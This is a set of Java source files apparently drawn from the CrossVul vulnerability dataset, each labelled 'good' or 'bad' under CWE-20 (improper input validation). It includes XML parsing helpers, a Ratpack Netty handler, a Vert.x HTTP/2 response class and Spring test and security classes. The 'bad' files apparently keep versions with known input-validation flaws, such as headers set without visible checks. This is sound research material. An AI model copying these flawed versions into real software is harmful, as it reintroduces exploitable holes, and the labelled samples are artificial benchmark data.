DocumentBuilder db = DBF.newDocumentBuilder();
return db.parse(ips);
}
public static Document readXml(StreamSource is) throws SAXException, IOException,
ParserConfigurationException {
InputSource is2 = new InputSource();
is2.setSystemId(is.getSystemId());
is2.setByteStream(is.getInputStream());
is2.setCharacterStream(is.getReader());
DocumentBuilder db = DBF.newDocumentBuilder();
return db.parse(is2);
}
public static void writeXml(Node n, OutputStream os) throws TransformerException {
TransformerFactory tf = TransformerFactory.newInstance();
tf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
// identity
Transformer t = tf.newTransformer();
t.setOutputProperty(OutputKeys.INDENT, "yes");
t.transform(new DOMSource(n), new StreamResult(os));
}
public static DocumentBuilder createDocumentBuilder() {
try {
return DBF.newDocumentBuilder();
} catch (ParserConfigurationException e) {
throw new RuntimeException("Couldn't find a DOM parser.", e);
}
}
public static Document createDocument() {
try {
return DBF.newDocumentBuilder().newDocument();
} catch (ParserConfigurationException e) {
throw new RuntimeException("Couldn't find a DOM parser.", e);
}
}
public static String getPrefixRecursive(Element el, String ns) {
String prefix = getPrefix(el, ns);
if (prefix == null && el.getParentNode() instanceof Element) {
prefix = getPrefixRecursive((Element)el.getParentNode(), ns);
}
return prefix;
}
public static String getPrefix(Element el, String ns) {
NamedNodeMap atts = el.getAttributes();
for (int i = 0; i < atts.getLength(); i++) {
Node node = atts.item(i);
String name = node.getNodeName();
if (ns.equals(node.getNodeValue())
&& (name != null && (XMLNAMESPACE.equals(name) || name.startsWith(XMLNAMESPACE + ":")))) {
return node.getLocalName();
}
}
return null;
}
/**
* Get all prefixes defined, up to the root, for a namespace URI.
*
* @param element
* @param namespaceUri
* @param prefixes
*/
public static void getPrefixesRecursive(Element element, String namespaceUri, List<String> prefixes) {
getPrefixes(element, namespaceUri, prefixes);
Node parent = element.getParentNode();
if (parent instanceof Element) {
getPrefixesRecursive((Element)parent, namespaceUri, prefixes);
}
}
/**
* Get all prefixes defined on this element for the specified namespace.
*
* @param element
* @param namespaceUri
* @param prefixes
*/
public static void getPrefixes(Element element, String namespaceUri, List<String> prefixes) {
NamedNodeMap atts = element.getAttributes();
for (int i = 0; i < atts.getLength(); i++) {
Node node = atts.item(i);
String name = node.getNodeName();
if (namespaceUri.equals(node.getNodeValue())
&& (name != null && (XMLNAMESPACE.equals(name) || name.startsWith(XMLNAMESPACE + ":")))) {
prefixes.add(node.getPrefix());
}
}
}
public static String createNamespace(Element el, String ns) {
String p = "ns1";
int i = 1;
while (getPrefix(el, ns) != null) {
p = "ns" + i;
i++;
}
addNamespacePrefix(el, ns, p);
return p;
}
/**
* Starting from a node, find the namespace declaration for a prefix. for a matching namespace
* declaration.
*
* @param node search up from here to search for namespace definitions
* @param searchPrefix the prefix we are searching for
* @return the namespace if found.
*/
public static String getNamespace(Node node, String searchPrefix) {
Element el;
while (!(node instanceof Element)) {
node = node.getParentNode();
}
el = (Element)node;
NamedNodeMap atts = el.getAttributes();
for (int i = 0; i < atts.getLength(); i++) {
Node currentAttribute = atts.item(i);
String currentLocalName = currentAttribute.getLocalName();
String currentPrefix = currentAttribute.getPrefix();
if (searchPrefix.equals(currentLocalName) && XMLNAMESPACE.equals(currentPrefix)) {
return currentAttribute.getNodeValue();
} else if (StringUtils.isEmpty(searchPrefix) && XMLNAMESPACE.equals(currentLocalName)
&& StringUtils.isEmpty(currentPrefix)) {
return currentAttribute.getNodeValue();
}
}
Node parent = el.getParentNode();
if (parent instanceof Element) {
return getNamespace((Element)parent, searchPrefix);
}
return null;
}
public static List<Element> findAllElementsByTagNameNS(Element elem, String nameSpaceURI, String localName) {
List<Element> ret = new LinkedList<>();
findAllElementsByTagNameNS(elem, nameSpaceURI, localName, ret);
return ret;
}
private static void findAllElementsByTagNameNS(Element el, String nameSpaceURI, String localName,
List<Element> elementList) {
if (localName.equals(el.getLocalName()) && nameSpaceURI.contains(el.getNamespaceURI())) {
elementList.add(el);
}
Element elem = getFirstElement(el);
while (elem != null) {
findAllElementsByTagNameNS(elem, nameSpaceURI, localName, elementList);
elem = getNextElement(elem);
}
}
public static List<Element> findAllElementsByTagName(Element elem, String tagName) {
List<Element> ret = new LinkedList<>();
findAllElementsByTagName(elem, tagName, ret);
return ret;
}
private static void findAllElementsByTagName(Element el, String tagName, List<Element> elementList) {
if (tagName.equals(el.getTagName())) {
elementList.add(el);
}
Element elem = getFirstElement(el);
while (elem != null) {
findAllElementsByTagName(elem, tagName, elementList);
elem = getNextElement(elem);
}
}
public static boolean hasElementInNS(Element el, String namespace) {
if (namespace.equals(el.getNamespaceURI())) {
return true;
}
Element elem = getFirstElement(el);
while (elem != null) {
if (hasElementInNS(elem, namespace)) {
return true;
}
elem = getNextElement(elem);
}
return false;
}
/**
* Set a namespace/prefix on an element if it is not set already. First off, it searches for the element
* for the prefix associated with the specified namespace. If the prefix isn't null, then this is
* returned. Otherwise, it creates a new attribute using the namespace/prefix passed as parameters.
*
* @param element
* @param namespace
* @param prefix
* @return the prefix associated with the set namespace
*/
public static String setNamespace(Element element, String namespace, String prefix) {
String pre = getPrefixRecursive(element, namespace);
if (pre != null) {
return pre;
}
element.setAttributeNS(XMLConstants.XMLNS_ATTRIBUTE_NS_URI, "xmlns:" + prefix, namespace);
return prefix;
}
/**
* Add a namespace prefix definition to an element.
*
* @param element
* @param namespaceUri
* @param prefix
*/
public static void addNamespacePrefix(Element element, String namespaceUri, String prefix) {
element.setAttributeNS(XMLConstants.XMLNS_ATTRIBUTE_NS_URI, "xmlns:" + prefix, namespaceUri);
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_657_0
|
crossvul-java_data_good_4128_2
|
package com.ctrip.framework.apollo.adminservice.controller;
import com.ctrip.framework.apollo.AdminServiceTestConfiguration;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.http.HttpMessageConverters;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.context.SpringBootTest.WebEnvironment;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.web.client.DefaultResponseErrorHandler;
import org.springframework.web.client.RestTemplate;
import javax.annotation.PostConstruct;
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest(classes = AdminServiceTestConfiguration.class, webEnvironment = WebEnvironment.RANDOM_PORT)
public abstract class AbstractControllerTest {
@Autowired
private HttpMessageConverters httpMessageConverters;
protected RestTemplate restTemplate = (new TestRestTemplate()).getRestTemplate();
@PostConstruct
private void postConstruct() {
restTemplate.setErrorHandler(new DefaultResponseErrorHandler());
restTemplate.setMessageConverters(httpMessageConverters.getConverters());
}
@Value("${local.server.port}")
protected int port;
protected String url(String path) {
return "http://localhost:" + port + path;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_4128_2
|
crossvul-java_data_good_1177_0
|
/*
* Copyright 2013 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ratpack.server.internal;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.handler.ssl.SslHandler;
import io.netty.handler.ssl.SslHandshakeCompletionEvent;
import io.netty.handler.timeout.IdleStateEvent;
import io.netty.util.AttributeKey;
import io.netty.util.CharsetUtil;
import io.netty.util.ReferenceCountUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import ratpack.exec.ExecController;
import ratpack.func.Action;
import ratpack.handling.Handler;
import ratpack.handling.Handlers;
import ratpack.handling.internal.ChainHandler;
import ratpack.handling.internal.DefaultContext;
import ratpack.handling.internal.DescribingHandler;
import ratpack.handling.internal.DescribingHandlers;
import ratpack.http.Headers;
import ratpack.http.MutableHeaders;
import ratpack.http.Response;
import ratpack.http.internal.*;
import ratpack.registry.Registry;
import ratpack.render.internal.DefaultRenderController;
import ratpack.server.ServerConfig;
import javax.net.ssl.SSLEngine;
import javax.net.ssl.SSLPeerUnverifiedException;
import javax.security.cert.X509Certificate;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.CharBuffer;
import java.nio.channels.ClosedChannelException;
import java.time.Clock;
import java.util.concurrent.atomic.AtomicBoolean;
@ChannelHandler.Sharable
public class NettyHandlerAdapter extends ChannelInboundHandlerAdapter {
private static final AttributeKey<Action<Object>> CHANNEL_SUBSCRIBER_ATTRIBUTE_KEY = AttributeKey.valueOf(NettyHandlerAdapter.class, "subscriber");
private static final AttributeKey<RequestBodyAccumulator> BODY_ACCUMULATOR_KEY = AttributeKey.valueOf(NettyHandlerAdapter.class, "requestBody");
private static final AttributeKey<X509Certificate> CLIENT_CERT_KEY = AttributeKey.valueOf(NettyHandlerAdapter.class, "principal");
private final static Logger LOGGER = LoggerFactory.getLogger(NettyHandlerAdapter.class);
private final Handler[] handlers;
private final DefaultContext.ApplicationConstants applicationConstants;
private final Registry serverRegistry;
private final boolean development;
private final Clock clock;
public NettyHandlerAdapter(Registry serverRegistry, Handler handler) throws Exception {
this.handlers = ChainHandler.unpack(handler);
this.serverRegistry = serverRegistry;
this.applicationConstants = new DefaultContext.ApplicationConstants(this.serverRegistry, new DefaultRenderController(), serverRegistry.get(ExecController.class), Handlers.notFound());
this.development = serverRegistry.get(ServerConfig.class).isDevelopment();
this.clock = serverRegistry.get(Clock.class);
}
@Override
public void channelActive(ChannelHandlerContext ctx) throws Exception {
ctx.read();
super.channelActive(ctx);
}
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof HttpRequest) {
newRequest(ctx, (HttpRequest) msg);
} else if (msg instanceof HttpContent) {
((HttpContent) msg).touch();
RequestBodyAccumulator bodyAccumulator = ctx.channel().attr(BODY_ACCUMULATOR_KEY).get();
if (bodyAccumulator == null) {
((HttpContent) msg).release();
} else {
bodyAccumulator.add((HttpContent) msg);
}
// Read for the next request proactively so that we
// detect if the client closes the connection.
if (msg instanceof LastHttpContent) {
ctx.channel().read();
}
} else {
Action<Object> subscriber = ctx.channel().attr(CHANNEL_SUBSCRIBER_ATTRIBUTE_KEY).get();
if (subscriber == null) {
super.channelRead(ctx, ReferenceCountUtil.touch(msg));
} else {
subscriber.execute(ReferenceCountUtil.touch(msg));
}
}
}
private void newRequest(ChannelHandlerContext ctx, HttpRequest nettyRequest) throws Exception {
if (!nettyRequest.decoderResult().isSuccess()) {
LOGGER.debug("Failed to decode HTTP request.", nettyRequest.decoderResult().cause());
sendError(ctx, HttpResponseStatus.BAD_REQUEST);
return;
}
Headers requestHeaders = new NettyHeadersBackedHeaders(nettyRequest.headers());
//Find the content length we will use this as an indicator of a body
Long contentLength = HttpUtil.getContentLength(nettyRequest, -1L);
String transferEncoding = requestHeaders.get(HttpHeaderNames.TRANSFER_ENCODING);
//If there is a content length or transfer encoding that indicates there is a body
boolean hasBody = (contentLength > 0) || (transferEncoding != null);
RequestBody requestBody = hasBody ? new RequestBody(contentLength, nettyRequest, ctx) : null;
Channel channel = ctx.channel();
if (requestBody != null) {
channel.attr(BODY_ACCUMULATOR_KEY).set(requestBody);
}
InetSocketAddress remoteAddress = (InetSocketAddress) channel.remoteAddress();
InetSocketAddress socketAddress = (InetSocketAddress) channel.localAddress();
ConnectionIdleTimeout connectionIdleTimeout = ConnectionIdleTimeout.of(channel);
DefaultRequest request = new DefaultRequest(
clock.instant(),
requestHeaders,
nettyRequest.method(),
nettyRequest.protocolVersion(),
nettyRequest.uri(),
remoteAddress,
socketAddress,
serverRegistry.get(ServerConfig.class),
requestBody,
connectionIdleTimeout,
channel.attr(CLIENT_CERT_KEY).get()
);
HttpHeaders nettyHeaders = new DefaultHttpHeaders();
MutableHeaders responseHeaders = new NettyHeadersBackedMutableHeaders(nettyHeaders);
AtomicBoolean transmitted = new AtomicBoolean(false);
DefaultResponseTransmitter responseTransmitter = new DefaultResponseTransmitter(transmitted, channel, clock, nettyRequest, request, nettyHeaders, requestBody);
ctx.channel().attr(DefaultResponseTransmitter.ATTRIBUTE_KEY).set(responseTransmitter);
Action<Action<Object>> subscribeHandler = thing -> {
transmitted.set(true);
ctx.channel().attr(CHANNEL_SUBSCRIBER_ATTRIBUTE_KEY).set(thing);
};
DefaultContext.RequestConstants requestConstants = new DefaultContext.RequestConstants(
applicationConstants,
request,
channel,
responseTransmitter,
subscribeHandler
);
Response response = new DefaultResponse(responseHeaders, ctx.alloc(), responseTransmitter);
requestConstants.response = response;
DefaultContext.start(channel.eventLoop(), requestConstants, serverRegistry, handlers, execution -> {
if (!transmitted.get()) {
Handler lastHandler = requestConstants.handler;
StringBuilder description = new StringBuilder();
description
.append("No response sent for ")
.append(request.getMethod().getName())
.append(" request to ")
.append(request.getUri());
if (lastHandler != null) {
description.append(" (last handler: ");
if (lastHandler instanceof DescribingHandler) {
((DescribingHandler) lastHandler).describeTo(description);
} else {
DescribingHandlers.describeTo(lastHandler, description);
}
description.append(")");
}
String message = description.toString();
LOGGER.warn(message);
response.getHeaders().clear();
ByteBuf body;
if (development) {
CharBuffer charBuffer = CharBuffer.wrap(message);
body = ByteBufUtil.encodeString(ctx.alloc(), charBuffer, CharsetUtil.UTF_8);
response.contentType(HttpHeaderConstants.PLAIN_TEXT_UTF8);
} else {
body = Unpooled.EMPTY_BUFFER;
}
response.getHeaders().set(HttpHeaderConstants.CONTENT_LENGTH, body.readableBytes());
responseTransmitter.transmit(HttpResponseStatus.INTERNAL_SERVER_ERROR, body);
}
});
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
if (!isIgnorableException(cause)) {
LOGGER.error("", cause);
if (ctx.channel().isActive()) {
sendError(ctx, HttpResponseStatus.INTERNAL_SERVER_ERROR);
}
}
}
@Override
public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exception {
if (evt instanceof IdleStateEvent) {
ConnectionClosureReason.setIdle(ctx.channel());
ctx.close();
}
if (evt instanceof SslHandshakeCompletionEvent && ((SslHandshakeCompletionEvent) evt).isSuccess()) {
SSLEngine engine = ctx.pipeline().get(SslHandler.class).engine();
if (engine.getWantClientAuth() || engine.getNeedClientAuth()) {
try {
X509Certificate clientCert = engine.getSession().getPeerCertificateChain()[0];
ctx.channel().attr(CLIENT_CERT_KEY).set(clientCert);
} catch (SSLPeerUnverifiedException ignore) {
// ignore - there is no way to avoid this exception that I can determine
}
}
}
super.userEventTriggered(ctx, evt);
}
@Override
public void channelWritabilityChanged(ChannelHandlerContext ctx) throws Exception {
DefaultResponseTransmitter responseTransmitter = ctx.channel().attr(DefaultResponseTransmitter.ATTRIBUTE_KEY).get();
if (responseTransmitter != null) {
responseTransmitter.writabilityChanged();
}
}
private static boolean isIgnorableException(Throwable throwable) {
if (throwable instanceof ClosedChannelException) {
return true;
} else if (throwable instanceof IOException) {
// There really does not seem to be a better way of detecting this kind of exception
String message = throwable.getMessage();
return message != null && message.endsWith("Connection reset by peer");
} else {
return false;
}
}
private static void sendError(ChannelHandlerContext ctx, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(
HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer("Failure: " + status.toString() + "\r\n", CharsetUtil.UTF_8));
response.headers().set(HttpHeaderConstants.CONTENT_TYPE, HttpHeaderConstants.PLAIN_TEXT_UTF8);
// Close the connection as soon as the error message is sent.
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_1177_0
|
crossvul-java_data_bad_195_2
|
/*
* Copyright (c) 2011-2017 Contributors to the Eclipse Foundation
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0
* which is available at https://www.apache.org/licenses/LICENSE-2.0.
*
* SPDX-License-Identifier: EPL-2.0 OR Apache-2.0
*/
package io.vertx.core.http.impl;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelFutureListener;
import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.http.HttpHeaderNames;
import io.netty.handler.codec.http.HttpResponseStatus;
import io.netty.handler.codec.http2.DefaultHttp2Headers;
import io.netty.handler.codec.http2.Http2Headers;
import io.vertx.codegen.annotations.Nullable;
import io.vertx.core.AsyncResult;
import io.vertx.core.Context;
import io.vertx.core.Future;
import io.vertx.core.Handler;
import io.vertx.core.MultiMap;
import io.vertx.core.VertxException;
import io.vertx.core.buffer.Buffer;
import io.vertx.core.http.HttpMethod;
import io.vertx.core.http.HttpServerResponse;
import io.vertx.core.http.StreamResetException;
import io.vertx.core.logging.Logger;
import io.vertx.core.logging.LoggerFactory;
import io.vertx.core.net.impl.ConnectionBase;
import io.vertx.core.spi.metrics.HttpServerMetrics;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.RandomAccessFile;
import static io.vertx.core.spi.metrics.Metrics.METRICS_ENABLED;
/**
* @author <a href="mailto:julien@julienviet.com">Julien Viet</a>
*/
public class Http2ServerResponseImpl implements HttpServerResponse {
private static final Logger log = LoggerFactory.getLogger(Http2ServerResponseImpl.class);
private final VertxHttp2Stream stream;
private final ChannelHandlerContext ctx;
private final Http2ServerConnection conn;
private final boolean push;
private final Object metric;
private final String host;
private Http2Headers headers = new DefaultHttp2Headers();
private Http2HeadersAdaptor headersMap;
private Http2Headers trailers;
private Http2HeadersAdaptor trailedMap;
private boolean chunked;
private boolean headWritten;
private boolean ended;
private int statusCode = 200;
private String statusMessage; // Not really used but we keep the message for the getStatusMessage()
private Handler<Void> drainHandler;
private Handler<Throwable> exceptionHandler;
private Handler<Void> headersEndHandler;
private Handler<Void> bodyEndHandler;
private Handler<Void> closeHandler;
private Handler<Void> endHandler;
private long bytesWritten;
private int numPush;
private boolean inHandler;
public Http2ServerResponseImpl(Http2ServerConnection conn, VertxHttp2Stream stream, Object metric, boolean push, String contentEncoding, String host) {
this.metric = metric;
this.stream = stream;
this.ctx = conn.handlerContext;
this.conn = conn;
this.push = push;
this.host = host;
if (contentEncoding != null) {
putHeader(HttpHeaderNames.CONTENT_ENCODING, contentEncoding);
}
}
public Http2ServerResponseImpl(
Http2ServerConnection conn,
VertxHttp2Stream stream,
HttpMethod method,
String path,
boolean push,
String contentEncoding) {
this.stream = stream;
this.ctx = conn.handlerContext;
this.conn = conn;
this.push = push;
this.host = null;
if (contentEncoding != null) {
putHeader(HttpHeaderNames.CONTENT_ENCODING, contentEncoding);
}
HttpServerMetrics metrics = conn.metrics();
this.metric = (METRICS_ENABLED && metrics != null) ? metrics.responsePushed(conn.metric(), method, path, this) : null;
}
synchronized void beginRequest() {
inHandler = true;
}
synchronized boolean endRequest() {
inHandler = false;
return numPush > 0;
}
void callReset(long code) {
handleEnded(true);
handleError(new StreamResetException(code));
}
void handleError(Throwable cause) {
if (exceptionHandler != null) {
exceptionHandler.handle(cause);
}
}
void handleClose() {
handleEnded(true);
}
private void checkHeadWritten() {
if (headWritten) {
throw new IllegalStateException("Header already sent");
}
}
@Override
public HttpServerResponse exceptionHandler(Handler<Throwable> handler) {
synchronized (conn) {
if (handler != null) {
checkEnded();
}
exceptionHandler = handler;
return this;
}
}
@Override
public int getStatusCode() {
synchronized (conn) {
return statusCode;
}
}
@Override
public HttpServerResponse setStatusCode(int statusCode) {
if (statusCode < 0) {
throw new IllegalArgumentException("code: " + statusCode + " (expected: 0+)");
}
synchronized (conn) {
checkHeadWritten();
this.statusCode = statusCode;
return this;
}
}
@Override
public String getStatusMessage() {
synchronized (conn) {
if (statusMessage == null) {
return HttpResponseStatus.valueOf(statusCode).reasonPhrase();
}
return statusMessage;
}
}
@Override
public HttpServerResponse setStatusMessage(String statusMessage) {
synchronized (conn) {
checkHeadWritten();
this.statusMessage = statusMessage;
return this;
}
}
@Override
public HttpServerResponse setChunked(boolean chunked) {
synchronized (conn) {
checkHeadWritten();
this.chunked = true;
return this;
}
}
@Override
public boolean isChunked() {
synchronized (conn) {
return chunked;
}
}
@Override
public MultiMap headers() {
synchronized (conn) {
if (headersMap == null) {
headersMap = new Http2HeadersAdaptor(headers);
}
return headersMap;
}
}
@Override
public HttpServerResponse putHeader(String name, String value) {
synchronized (conn) {
checkHeadWritten();
headers().set(name, value);
return this;
}
}
@Override
public HttpServerResponse putHeader(CharSequence name, CharSequence value) {
synchronized (conn) {
checkHeadWritten();
headers().set(name, value);
return this;
}
}
@Override
public HttpServerResponse putHeader(String name, Iterable<String> values) {
synchronized (conn) {
checkHeadWritten();
headers().set(name, values);
return this;
}
}
@Override
public HttpServerResponse putHeader(CharSequence name, Iterable<CharSequence> values) {
synchronized (conn) {
checkHeadWritten();
headers().set(name, values);
return this;
}
}
@Override
public MultiMap trailers() {
synchronized (conn) {
if (trailedMap == null) {
trailedMap = new Http2HeadersAdaptor(trailers = new DefaultHttp2Headers());
}
return trailedMap;
}
}
@Override
public HttpServerResponse putTrailer(String name, String value) {
synchronized (conn) {
checkEnded();
trailers().set(name, value);
return this;
}
}
@Override
public HttpServerResponse putTrailer(CharSequence name, CharSequence value) {
synchronized (conn) {
checkEnded();
trailers().set(name, value);
return this;
}
}
@Override
public HttpServerResponse putTrailer(String name, Iterable<String> values) {
synchronized (conn) {
checkEnded();
trailers().set(name, values);
return this;
}
}
@Override
public HttpServerResponse putTrailer(CharSequence name, Iterable<CharSequence> value) {
synchronized (conn) {
checkEnded();
trailers().set(name, value);
return this;
}
}
@Override
public HttpServerResponse closeHandler(Handler<Void> handler) {
synchronized (conn) {
if (handler != null) {
checkEnded();
}
closeHandler = handler;
return this;
}
}
@Override
public HttpServerResponse endHandler(@Nullable Handler<Void> handler) {
synchronized (conn) {
if (handler != null) {
checkEnded();
}
endHandler = handler;
return this;
}
}
@Override
public HttpServerResponse writeContinue() {
synchronized (conn) {
checkHeadWritten();
stream.writeHeaders(new DefaultHttp2Headers().status("100"), false);
ctx.flush();
return this;
}
}
@Override
public HttpServerResponse write(Buffer chunk) {
ByteBuf buf = chunk.getByteBuf();
return write(buf);
}
@Override
public HttpServerResponse write(String chunk, String enc) {
return write(Buffer.buffer(chunk, enc).getByteBuf());
}
@Override
public HttpServerResponse write(String chunk) {
return write(Buffer.buffer(chunk).getByteBuf());
}
private Http2ServerResponseImpl write(ByteBuf chunk) {
write(chunk, false);
return this;
}
@Override
public void end(String chunk) {
end(Buffer.buffer(chunk));
}
@Override
public void end(String chunk, String enc) {
end(Buffer.buffer(chunk, enc));
}
@Override
public void end(Buffer chunk) {
end(chunk.getByteBuf());
}
@Override
public void end() {
end((ByteBuf) null);
}
void toNetSocket() {
checkEnded();
checkSendHeaders(false);
handleEnded(false);
}
private void end(ByteBuf chunk) {
synchronized (conn) {
write(chunk, true);
}
}
private boolean checkSendHeaders(boolean end) {
if (!headWritten) {
if (headersEndHandler != null) {
headersEndHandler.handle(null);
}
headWritten = true;
headers.status(Integer.toString(statusCode));
stream.writeHeaders(headers, end);
if (end) {
ctx.flush();
}
return true;
} else {
return false;
}
}
void write(ByteBuf chunk, boolean end) {
synchronized (conn) {
checkEnded();
boolean hasBody = false;
if (chunk != null) {
hasBody = true;
bytesWritten += chunk.readableBytes();
} else {
chunk = Unpooled.EMPTY_BUFFER;
}
if (end) {
if (!headWritten && !headers.contains(HttpHeaderNames.CONTENT_LENGTH)) {
headers().set(HttpHeaderNames.CONTENT_LENGTH, String.valueOf(chunk.readableBytes()));
}
handleEnded(false);
}
boolean sent = checkSendHeaders(end && !hasBody && trailers == null);
if (hasBody || (!sent && end)) {
stream.writeData(chunk, end && trailers == null);
}
if (end && trailers != null) {
stream.writeHeaders(trailers, true);
}
if (end && bodyEndHandler != null) {
bodyEndHandler.handle(null);
}
}
}
@Override
public HttpServerResponse writeCustomFrame(int type, int flags, Buffer payload) {
synchronized (conn) {
checkEnded();
checkSendHeaders(false);
stream.writeFrame(type, flags, payload.getByteBuf());
ctx.flush();
return this;
}
}
private void checkEnded() {
if (ended) {
throw new IllegalStateException("Response has already been written");
}
}
private void handleEnded(boolean failed) {
if (!ended) {
ended = true;
if (METRICS_ENABLED && metric != null) {
// Null in case of push response : handle this case
if (failed) {
conn.metrics().requestReset(metric);
} else {
conn.reportBytesWritten(bytesWritten);
conn.metrics().responseEnd(metric, this);
}
}
if (exceptionHandler != null) {
conn.getContext().runOnContext(v -> exceptionHandler.handle(ConnectionBase.CLOSED_EXCEPTION));
}
if (endHandler != null) {
conn.getContext().runOnContext(endHandler);
}
if (closeHandler != null) {
conn.getContext().runOnContext(closeHandler);
}
}
}
void writabilityChanged() {
if (!ended && !writeQueueFull() && drainHandler != null) {
drainHandler.handle(null);
}
}
@Override
public boolean writeQueueFull() {
synchronized (conn) {
checkEnded();
return stream.isNotWritable();
}
}
@Override
public HttpServerResponse setWriteQueueMaxSize(int maxSize) {
synchronized (conn) {
checkEnded();
// It does not seem to be possible to configure this at the moment
}
return this;
}
@Override
public HttpServerResponse drainHandler(Handler<Void> handler) {
synchronized (conn) {
if (handler != null) {
checkEnded();
}
drainHandler = handler;
return this;
}
}
@Override
public HttpServerResponse sendFile(String filename, long offset, long length) {
return sendFile(filename, offset, length, null);
}
@Override
public HttpServerResponse sendFile(String filename, long offset, long length, Handler<AsyncResult<Void>> resultHandler) {
synchronized (conn) {
checkEnded();
Context resultCtx = resultHandler != null ? stream.vertx.getOrCreateContext() : null;
File file = stream.vertx.resolveFile(filename);
if (!file.exists()) {
if (resultHandler != null) {
resultCtx.runOnContext((v) -> resultHandler.handle(Future.failedFuture(new FileNotFoundException())));
} else {
log.error("File not found: " + filename);
}
return this;
}
RandomAccessFile raf;
try {
raf = new RandomAccessFile(file, "r");
} catch (IOException e) {
if (resultHandler != null) {
resultCtx.runOnContext((v) -> resultHandler.handle(Future.failedFuture(e)));
} else {
log.error("Failed to send file", e);
}
return this;
}
long contentLength = Math.min(length, file.length() - offset);
if (headers.get(HttpHeaderNames.CONTENT_LENGTH) == null) {
putHeader(HttpHeaderNames.CONTENT_LENGTH, String.valueOf(contentLength));
}
if (headers.get(HttpHeaderNames.CONTENT_TYPE) == null) {
String contentType = MimeMapping.getMimeTypeForFilename(filename);
if (contentType != null) {
putHeader(HttpHeaderNames.CONTENT_TYPE, contentType);
}
}
checkSendHeaders(false);
Future<Long> result = Future.future();
result.setHandler(ar -> {
if (ar.succeeded()) {
bytesWritten += ar.result();
end();
}
if (resultHandler != null) {
resultCtx.runOnContext(v -> {
resultHandler.handle(Future.succeededFuture());
});
}
});
FileStreamChannel fileChannel = new FileStreamChannel(result, stream, offset, contentLength);
drainHandler(fileChannel.drainHandler);
ctx.channel()
.eventLoop()
.register(fileChannel)
.addListener((ChannelFutureListener) future -> {
if (future.isSuccess()) {
fileChannel.pipeline().fireUserEventTriggered(raf);
} else {
result.tryFail(future.cause());
}
});
}
return this;
}
@Override
public void close() {
conn.close();
}
@Override
public boolean ended() {
synchronized (conn) {
return ended;
}
}
@Override
public boolean closed() {
return conn.isClosed();
}
@Override
public boolean headWritten() {
synchronized (conn) {
return headWritten;
}
}
@Override
public HttpServerResponse headersEndHandler(@Nullable Handler<Void> handler) {
synchronized (conn) {
headersEndHandler = handler;
return this;
}
}
@Override
public HttpServerResponse bodyEndHandler(@Nullable Handler<Void> handler) {
synchronized (conn) {
bodyEndHandler = handler;
return this;
}
}
@Override
public long bytesWritten() {
synchronized (conn) {
return bytesWritten;
}
}
@Override
public int streamId() {
return stream.id();
}
@Override
public void reset(long code) {
synchronized (conn) {
checkEnded();
handleEnded(true);
stream.writeReset(code);
ctx.flush();
}
}
@Override
public HttpServerResponse push(HttpMethod method, String host, String path, Handler<AsyncResult<HttpServerResponse>> handler) {
return push(method, host, path, null, handler);
}
@Override
public HttpServerResponse push(HttpMethod method, String path, MultiMap headers, Handler<AsyncResult<HttpServerResponse>> handler) {
return push(method, null, path, headers, handler);
}
@Override
public HttpServerResponse push(HttpMethod method, String host, String path, MultiMap headers, Handler<AsyncResult<HttpServerResponse>> handler) {
synchronized (conn) {
if (push) {
throw new IllegalStateException("A push response cannot promise another push");
}
checkEnded();
conn.sendPush(stream.id(), host, method, headers, path, handler);
if (!inHandler) {
ctx.flush();
}
numPush++;
return this;
}
}
@Override
public HttpServerResponse push(HttpMethod method, String path, Handler<AsyncResult<HttpServerResponse>> handler) {
return push(method, host, path, handler);
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_195_2
|
crossvul-java_data_good_788_0
|
package org.airsonic.player.security;
import org.airsonic.player.service.JWTSecurityService;
import org.airsonic.player.service.SecurityService;
import org.airsonic.player.service.SettingsService;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.autoconfigure.security.SecurityProperties;
import org.springframework.context.ApplicationEventPublisher;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.annotation.Order;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.authentication.configurers.GlobalAuthenticationConfigurerAdapter;
import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
